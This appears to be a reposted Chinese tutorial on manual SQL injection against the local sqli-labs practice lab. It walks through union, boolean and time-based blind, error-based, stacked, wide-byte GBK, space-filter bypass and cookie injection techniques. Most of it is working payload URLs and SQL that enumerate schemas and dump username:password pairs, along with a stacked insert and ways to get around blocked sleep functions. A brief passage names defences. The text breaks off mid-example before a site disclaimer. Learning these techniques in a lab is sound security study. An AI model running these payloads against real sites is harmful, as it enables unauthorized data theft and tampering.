sqlmap:入門(手工注入)


一、 聯合查詢注入union(less-1)
1. union操作符用於合並兩個或多個select語句結果集;
2. union后的select語句必須擁有和最前的select語句擁有相同數量的字段,字段類型也要相似對應,每條select語句中的字段的順序必須相同;
3. union結果集不允許重復值,如果要允許重復值使用union all;
4. 只有最后一個select子句允許order by和limit;
select * from users order by id union select 1, 2, 3;  -- 這樣寫會報錯
 
5. 判斷是否有用英文單引號'做字符串,即判斷是否是字符型注入;
# 若程序中的value有閉合的單引號,在請求后添加單引號,則造成單引號無閉合報錯,即用了單引號做字符串 http://127.0.0.1/sqli-labs/Less-1/?id=-1'
# 通過SQL注釋拼接,這樣就可以注釋掉原來的閉合單引號,使其閉合不報錯 http://127.0.0.1/sqli-labs/Less-1/?id=-1'--+ # less-2中添加單引號的回顯信息是多了單引號的意思,為數值型注入
 
 
6. 這種用單引號閉合做字符串的,union可以拼接進動態數據手工輸入單引號和注釋之間;
# 查看id=1時返回的數據的數據  -- 返回的是id為1的用戶密碼:Dump
http://127.0.0.1/sqli-labs/Less-1/?id=1 # 通過拼接查看id=-1 union id=2返回的數據  --返回的是id為2的用戶名密碼:Angelina
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select * from users where id = 2 --+ # 除了單引號閉合之外還有雙引號,括號,此外還有無閉合的數值型注入,直接拼接也不需要注釋 # 在url中注釋使用--+實際上+轉義后是空格,如果使用#注釋,則需要填寫為%23,因為get請求無法urlencode井號為%23,#在url中視為錨,用來定點,所以注入時堅持用#注釋,則寫為%23 # 在post請求中,注釋用--空格即可;
 
7. 通過order by確定主select語句有多少列;
  # firefox里有個hackbar插件,使用order by二分法進行注入可以快速確定列數,這里通過手工輸入;
# 判斷是否有5列,如果沒有則報錯  -- Unknown column '5' in 'order clause'
http://127.0.0.1/sqli-labs/Less-1/?id=-1' order by 5 --+ # 判斷是否有4列,如果沒有則報錯 -- Unknown column '4' in 'order clause' http://127.0.0.1/sqli-labs/Less-1/?id=-1' order by 4 --+
# 判斷是否有3列,如果沒有則報錯,有則輸出,並確定有3列 http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
 
 
 
8. 判斷哪些字段不是隱藏的,即顯示內容在web頁面上的是哪些字段;
# 動態值不存在於數據庫表,這里是id=-1,由於輸出為空則自然顯示union后的select數據,否則會被對應id數據遮擋; http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, 3 --+ # 通過下圖很明顯的可以看出id是隱藏的,第二三個字段可以用來暴數據;
 
9. 曝數據庫版本;
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, version() --+
 
10. 曝當前網站的數據庫名和當前登錄用戶;
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, database(), user() --+
 
11. 爆該SQL服務器下的其他數據庫名;
# 需要稍微了解下MySQL自帶的information_schema庫,TABLES表存儲了MySQL數據庫中所有的表信息 # TABLES表中的table_schema字段實際上是數據庫名,table_name是表名 # 在MySQL端中的查詢方式 select * from users where id = -1 union (select 1, 2, group_concat(distinct table_schema) from information_schema.tables) # 在web端通過union拼接進去 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, group_concat(distinct table_schema) from information_schema.tables --+
 
12. 曝當前庫的表名
#MySQL端查詢方式 select * from users where id = -1 union (select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database()); # web端通過union拼接 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database() --+
 
 
13. 爆某庫某表字段
# information_schema庫中有一個COLUMNS表,它存儲了所有字段信息數據 # table_schema是數據庫名, table_name是表名,column_name是字段名 # MySQL端的寫法 select * from users where id = -1 union (select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"); # web端URL上拼接的寫法 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union (select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users") --+
 
 
14. 爆值
# 通過上邊的爆庫報表的行為,這里可以定義為知道表名爆值 # 英文冒號的十六進制的表現形式是:0x3a
select * from users where id = -1 union (select 1, 2, group_concat(username, 0x3a, password) from users); http://127.0.0.1/sqli-labs/Less-1/?id=-1' union (select 1, 2, group_concat(username, 0x3a, password) from users) --+
 
二、布爾盲注(less-5)(盲注就算是通過二分法的方式仍舊會花上大量的時間,所以最好用工具或者自己寫腳本來猜測信息)
拼接:andor(一般只用and); 布爾:true、false; 使用盲注的原因:在有些情況下,后台使用了錯誤消息屏蔽方法屏蔽了回顯的報錯即沒有信息回顯到前端上,在此時無法根據報錯信息來進行注入的判斷; 布爾盲注的主要表現: 0. 沒有報錯信息; 1. 不管是正確的輸入,還是錯誤的輸入,都只顯示兩種情況(可以認為是0或者1); 2. 在正確的輸入下,輸入and 1=1/and 1=2發現可以判斷;
 
1. 判斷是否有注入,在get請求后添加英文單引號,查看回顯信息;
http://localhost/sqli-labs/Less-5/?id=1'
 
2. 根據以下方式判斷是盲注;
# 正確true,有提示You are in ...... http://localhost/sqli-labs/Less-5/?id=1' and 1=1 --+ # 類似輸入order by返回的也是以上信息,所以使用union無用 # 錯誤false,不提示任何信息 http://localhost/sqli-labs/Less-5/?id=1' and 1=2 --+
 
 
3. 通過left函數判斷數據庫信息
left(str, length):從左開始,截取str字符串length長度,如:left('abcde', 2)輸出是ab # 從a-z,0-9判斷 # 判斷第一位,如果是該值就提示信息You are in ......,如果不是就無提示 # 無提示 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) = 'a' --+ # 有提示 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) = 's' --+
# 由以上一個值一個值來判斷能得到數據庫的第一個值為s # 通過二分法的方式來獲值 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) <= 'm' --+ # 以上輸入若無提示,則說明數據庫名稱的第一個值再m之后 # 判斷數據庫名稱第二位 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 2) <= 'sm' --+
# 若以上輸入有提示,則說明數據庫名稱的第二個字符在m之前
 
4. 通過length函數判斷數據庫某信息的長度
length(str) # left函數只會一直猜測下去,只要前邊的字符正確,后邊無論位數是否正確都為true,所以需要用到length來判斷信息長度 # 判斷數據庫名稱長度 # 以下url無提示,則說明長度大於5 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) <= 5 --+ # 以下url有提示,則說明長度在5到8之間,且是(5, 8]這樣的區間,即長度可能值為6,7,8 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) <= 8 --+
# 使用等值的方式判斷是否有提示,有則得出長度 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 6 --+ http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 7 --+
http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 8 --+ # 以上可以得出數據庫名稱的值是8
 
5. 使用substr和ascii函數猜測信息
substr(str, start[, length]): start不是從0開始,而是從1開始,length為截取長度,是個可選項 substr('security', 3, 3)  -- 輸出為cur
substr('security', 3)  -- 輸出為curity
ascii(str):返回字符串第一個字符的ASCII值 ascii('abcd')  -- 輸出為97
ascii('abc')  -- 輸出為97
ascii('123')  -- 輸出為49
 # 猜測當前數據庫第一個表的名稱的第一個字符 # 通過返回的ascii值判斷,ascii可顯示字符的十進制是從32到126的,可查詢ascii表來看 # 二分法第一次,是否大於等於79:(126-32)/2 + 32,有提示,說明字符在[79, 126]之間 http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) >=79 --+ # 二分法第二次,是否大於等於102,無提示,說明字符在[79, 102)之間 http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) >=102 --+
# 以此類推可以得到,第一個字符值為101,即e http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) =101 --+ # 猜測第二個字符,只要修改substr函數的start參數即可:substr(str, 2, 1) # 以此類推,可以得到表名 # 第二個表的獲取需要先了解下limit # limit start, length # start:從0開始,當為0時可以省略,length:獲取的長度,即值個數 # 舉例:獲取第一個值的方式 select table_name from information_schema.tables where table_schema = database() limit 1; select table_name from information_schema.tables where table_schema = database() limit 0, 1; -- 這兩個是SQL語句是等價的 # 舉例:獲取前面兩個值的方式 select table_name from information_schema.tables where table_schema = database() limit 2; select table_name from information_schema.tables where table_schema = database() limit 0, 2; # 舉例:獲取第二個值的方式 select table_name from information_schema.tables where table_schema = database() limit 1, 1;
 
 
6. 使用正則猜測信息
# 首先要了解下正則表達式各種字符的意思 # 猜測數據庫名稱或者用戶名稱可以用這種簡單的寫法(有內置函數的寫法) # select 函數 regexp '正則表達式';  -- 這個語句返回的是0或1,即存在就返回1,不存在返回0
# 數據庫名的第一個字符,也可以通過二分的方式,true為1,false為0 select database() regexp '^[a-z]'; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select database() regexp '^[a-m]') --+ # 猜某表的列名 # select 1 from information_schema.columns where table_schema = 數據庫名 and table_name = 表名 and column_name regexp '正則表達式'; # 上邊的寫法在存在的時候返回1,不存在的時候返回empty,這樣擁有url中可以作為判斷 # 列名的第一個字符,用二分法在數據庫中可能會返回多個值,所以用limit限制掉,可以解釋為數據庫的某表的第某個字段如果開始字符以某表示的值是否存在 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^[n-z]' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^[n-z]' limit 1) --+
# 列名的最后一個字符 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '[a-m]$' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '[a-m]$' limit 1) --+ # 列名的第二個字符 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^u[a-m]' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^u[a-m]' limit 1) --+
# 以此類推得所有字符
 
7. 使用函數ord()和mid()猜數據
# mid的用法和substr用法一樣 mid(str, start[, length]):start不是從0開始,而是從1開始,length為截取長度,是個可選項 mid('security', 3, 3)  -- 輸出為cur
mid('security', 3)  -- 輸出為curity
# ord的用法和ascii用法一樣 # 猜數據 # 猜security.users表的username列的第一個值的第一個字符,二分法的方式,這個和之前那個一樣的不多說 select ord(mid((select ifnull(cast(username as char), 0x20) from users limit 0, 1), 1, 1));  -- 返回的是ascii值
 http://localhost/sqli-labs/Less-5/?id=1' and (select ord(mid((select ifnull(cast(username as char), 0x20) from users limit 0, 1), 1, 1))) >= 79 --+ # isfull(expression, alt_value),兩個值都為必填項,若expression為null時,返回alt_value # cast(字段名 as 類型),類型轉換

 

三、基於時間的盲注
# 使用影響系統運行時間的函數后,根據每次頁面返回的時間,判斷注入的語句是否執行成功 # 時間盲注常用的函數 if(expr, val1, val2):如果表達式expr成立即為true的情況,返回val1,否則返回val2 substr(str, start, length):這個在布爾盲注上有寫 benchmark(counttimes, expr):檢測表達式expr性能的函數,時間盲注通過增加counttimes(次數)值延遲時間 sleep(duration):在duration秒后才運行,要注意的是,這里是查找多少條記錄都是*duration的 # 舉例,返回記錄數是14條,duration=0.01
select *, sleep(0.01) from users;  -- 時間延遲是0.14
 
1. 常用格式
select * from table where id = 1 and if(expr, sleep(duration), var2);

 

2. 注入流程
# 尋找注入點,get請求,看到url有參數,猜想存在SQL注入 # 確定注入類型,在原來的payload即id=1后添加英文單引號',若報錯,說明存在字符注入 # 是否有回顯:payload即id=1后添加' and 1 = 2或者'and 1 = 1的方式,沒有回顯,使用盲注,這里使用時間盲注 # 判斷sleep函數是否有被過濾掉:payload為id=1' and sleep(2)  -- 在network中查看是否有延遲2s,如果有,則說明sleep沒有被過濾
select * from users where id = 1 and sleep(2); http://localhost/sqli-labs/Less-5/?id=1' and sleep(2) --+
 
 
3. 獲取數據庫名稱長度
# 判斷長度 select * from users where id = 1 and if(length(database()) >= 5, sleep(3), 1);  -- 如果長度大於等於5則延遲三秒,否則立即返回
select * from users where id = 1 and if(length(database()) < 8, sleep(3), 1);  -- 如果長度小於8則延遲3s,否則立即返回
http://localhost/sqli-labs/Less-5/?id=1' and if(length(database()) = 8, sleep(3), 1) --+ # 以此推論,能得出length(database()) == 8
 
4. 獲取數據庫名稱值
# 使用函數ascii和substr進行判斷,結合二分法縮短時間 select * from users where id = 1 and if(ascii(substr(database(), 1, 1)) >= 79, sleep(3), 1);  -- 如果區間正確則延遲,錯誤就立即回顯
 # 通過縮小區間的方式,如果有延遲則正確 http://localhost/sqli-labs/Less-5/?id=1' and if(ascii(substr(database(), 1, 1)) = 115, sleep(3), 1) --+ # 以此推論,數據庫名稱的第一個字符的ascii為115,通過ascii表可知該字符是s # 通過修改substr的start和length值確定其他位置的字符

 

5. 當sleep和benchmark被屏蔽時,第一種繞過限制策略:疊加全排列
select * from users where id = 1 and if(length(database()) = 8, (select count(*) from information_schema.columns a, information_schema.columns b, users), 1); http://localhost/sqli-labs/Less-5/?id=1' and if(length(database()) = 8, (select count(*) from information_schema.columns a, information_schema.columns b, users), 1) --+ # 控制表的的數量,笛卡爾積大起來,時間長到可以懷疑人生,太小又看不出效果,需嘗試
6. 當sleep和benchmark被屏蔽時,第二種繞過限制策略:get_lock()加鎖機制
# 不大懂鎖機制包括get_lock和release_lock,以后再補;

 

7. 時間盲注的優缺點
利用時間盲注最大的有點是對日志幾乎沒什么影響,特別是基於錯誤的攻擊相比。但是,在必須使用大量查詢或CPU密集型函數如benchmark的情況下,系統管理員可能會知道正在發生的注入;
測試web應用程序的時候,由於服務器負載和網絡速度的干擾,實際上延遲的時間很難把握。所以延遲時間需要足夠長,但又要在合理的時間內完成,這個度需要自己控制;
 
四、報錯注入
1. 通過floor函數報錯
# floor報錯包括以下內容 floor(num):向下取整 rand():產生一個0-1的隨機小數 rand(0):偽隨機數,生成值固定不變 floor(rand(0)*2):向下取整后,獲得的值只有0和1 count(0):統計元素個數 concat(v1, v2, v3,...):將符合條件的參數值進行拼接 group by column:對相同column進行分組 # 爆數據庫名稱 select concat(database(), 0x3a, floor(rand(0)*2)) abc, count(*) from information_schema.tables group by abc; http://localhost/sqli-labs/Less-5/?id=1' and (select 1 from (select concat(database(), 0x3a, floor(rand(0)*2)) abc, count(*) from information_schema.tables group by abc) a) --+ # 爆表 http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand(0)*2))name from information_schema.tables group by name)b) --+
 # 以此類推,其他信息也可以通過這種方式來獲取
 
2. 通過extractvalue函數報錯
extractvalue(xml_frag, xpath_expr):使用XPath表示法從XML字符串中提取值 xml_frag:可以傳入目標xml文檔,xpath_expr:xpath路徑法表示的查找路徑 # 舉例 select extractvalue('<a><b></b></a>', '/a/b');  -- 就是尋找一段xml文檔內容中a節點下的b節點,如果xpath格式語法錯誤,就會報錯,利用這個報錯特性來猜測內容
# 錯誤回顯 select extractvalue('<a><b></b></a>', '~'); # 通過concat拼接得到自己要的信息 # 爆當前數據庫名稱 select extractvalue('<a><b></b></a>', concat('~', database())); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select extractvalue('<a><b></b></a>', concat('~', database()))) abc) --+ # 爆當前數據庫的表名 select extractvalue('<a><b></a></b>', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database()))); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select extractvalue('<a><b></a></b>', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())))) --+
 
 
 
3. 通過updatexml函數報錯
updatexml(xml_target, xpath_expr, new_xml) xml_target:需要操作的xml片段,xpath_expr:需要更新的xml路徑(xpath的格式),new_xml:更新后的內容 # 通過輸入輸出查找時如何運行的 select updatexml('<a><b><c></a></b></c>', '/a', '<e>zzz</e>') val;  -- 輸出值val = <e>zzz</e>
select updatexml('<a><b><c></a></b></c>', '/a/b/c', '<e>zzz</e>') val;  -- 輸出值val = <a><b><e>zzz</e></b></c>
select updatexml('<a>abcd<b><c></a></b></c><d>hhh</d>', '/d', '<e>zzz</e>') val;  -- 輸出值val = <a>abcd<b><c></a></b></c><e>zzz</e>
select updatexml('<a><b><c></a></b></c>', '//c', '<e>zzz</e>') val;  -- 輸出值val = <a><b><e>zzz</e></b></c>
 # 報錯方式和extractvalue一樣,只要xpath路徑語法錯誤,就會報錯 # 爆數據庫的名稱和版本 select updatexml('abc', concat('~', database(), 0x3a, version()), 'abc'); select updatexml('abc', concat('~', (select database()), 0x3a, (select version())), 'abc'); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select updatexml('abc', concat('~', database(), 0x3a, version()), 'abc')) abc) --+ # 爆數據庫表 select updatexml('abc', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())), 'abc'); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select updatexml('abc', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())), 'abc')) --+
 
 
4. 還有其他函數報錯,這里不寫,因為不熟悉理解不透徹;
 
五、堆疊注入(stacked injection)
堆疊注入可以說是聯合注入的升級版,union只能拼接select語句,而堆疊卻可以拼接執行任意語句; 堆疊注入的局限性在於不是每個環境都可以執行成功的,可能受到API或者數據庫引擎不支持的限制,當然權限不足也可解釋為為什么攻擊者無法修改數據或者調用一些程序; 在web系統中,代碼通常只返回一個查詢結果,堆疊注入的第二個語句產生的錯誤或者結果只能被忽略。隱藏讀數據前盡量使用其他注入獲得數據庫相關信息; PHP中為了防止SQL注入機制,往往使用調用數據庫的函數mysqli_query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以說堆疊注入的使用非常有限,一旦能被使用,將可能對網站造成十分大的危害; select load_file('路徑'):里面用斜杠/,不要用反斜杠\,否則返回null;當然返回null的可能和路徑有關,show global variables like '%secure%';返回secure_file_priv值無值,則任何路徑均可,有則必須固定,null就自行修改; # 這里使用less-8,這里的查詢方法使用mysqli_multi_query(),允許用分號有多條SQL; http://127.0.0.1:8088/sqli-labs/less-38/?id=1';insert into users values(20,'xiaoxiao', 'xiaoxiao') --+
 
六、寬字節(雙字節)處理轉義
在PHP中開啟了魔術引號后,用戶的輸入會自動加上addslashes(),會把特殊字符進行轉義,比如在url輸入單引號,轉以后是\',也就是英文單引號被反斜杠干掉了,無法注入閉合那么寬字節注入就是想辦法讓轉義單引號的反斜杠干掉;
即如果數據庫采用gbk字符,那么就存在可能,方式和轉義單引號差不多。gbk采用雙字節表示,GBK編碼范圍:首字節:0x81~0xFE;尾字節:0x40~0xFE,英文字母用一個字節表示,但中文必須是兩個,所以這里才去通過字節結合的形式把兩個單字節合成中文干掉反斜杠;
?id=1%bf' # 經過轉義上述payload會變成:?id=1%bf%5c%27 # %5c是單引號在經過服務器時轉義加在它前邊使它無法構成注入閉合 # %27是單引號 # 5c在gbk中,是合法的尾字節 # bf是合法的首字節 # BF5C會構成一個漢字:縗 # 通過這種方式可以消化掉反斜杠,最后payload是:?id=1縗' # 這種方式就能夠繼續爆數據了
    實際上該漏洞也有了很好的解決方式:
      使用mysql_set_charset(GBK)指定字符集
      使用mysql_real_escape_string進行轉義
      原理是,mysql_real_escape_string與addslashes的不同之處在於其會考慮當前設置的字符集,不會出現前面e5和5c拼接為一個寬字節的問題,使用mysql_set_charset可以確定當前字符集;
 
七、繞過空格過濾:%20的代替者%a0
  因為空格的特殊和普遍使用,空格在程序中會被過濾,所以注入的時候遇到了空格被過濾了,可以使用%a0去代替%20,%a0輸出來是一個�,一個不算漢字的中文字符,正則匹配的時候,因為是中文字符所以不會過濾掉,但在MySQL中,它不認這個中文字符,所以把它當做空格處理了;
 
八、cookie注入(less-20)
# 當get、post提交數據進行過濾,考慮cookie是否有對cookie提交的數據做過濾; # cookie注入的原理是修改cookie的值; # get請求可以通過在開發者控制台使用dom腳本來修改cookie值:javascript:alert(document.cookie="id="+escape("284"));,id是key,284是值; # post請求通過工具來修改cookie:比如fiddler、burpsuite、python的request模塊,工具很多,選一個方便自己的來就好。get請求也可以通過這些方式來修改cookie值; # get請求:https://www.cnblogs.com/zlgxzswjy/p/6443767.html # post請求:less-20

 

1. 在less-20中,form表單,一個post請求,向里邊寫入單引號等造成注入的內容均會被過濾掉當成普通的字符,不匹配數據庫內容,返回的信息均一樣,不能進行盲注,嘗試cookie注入;
2. 基本步驟
打開fiddler了工具,過濾直接獲取sqli-labs的請求; 使用已知的賬號和密碼登錄一次less-20; 在fiddler中設置請求發送前的斷點,rules-automatic breakpoints-before requests; 在瀏覽器中刷新less-20頁面或者在fiddler直接重新提交:右擊提交賬號密碼的請求-replay-reissue request; 在fiddler的request raw中修改cookie的值,寫法和之前的盲注一樣; 修改cookie后,點擊run to completion即可;

 

3. 單引號
# cookie值添加單引號,查看返回信息是否注入 Cookie: uname=Dumb' -- 返回limit的錯誤,注入成功

 

4. order by
# order by判斷主select的列數 cookie: uname=Dumb' order by 3 # -- 返回信息和無修改的cookie的信息一樣,所以列數可能是3也可能比3大,繼續猜 cookie: uname=Dumb' order by 4 #  -- 返回信息出現SQL錯誤,所以推斷為3列
 
5. union爆數據
# 查看原始返回信息的情況,cookie的原值要修改成數據庫沒有的 # 爆數據庫名,數據庫版本,用戶名 Cookie: uname=321' union select version(), user(), database() #
 
6. 報錯注入之floor
# floor報錯,爆數據庫名 Cookie: uname
7. 通過以上實例可知,除了基礎步驟外,SQL語句是沒什么變化的;
另外request模塊寫的就下邊這樣簡單:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM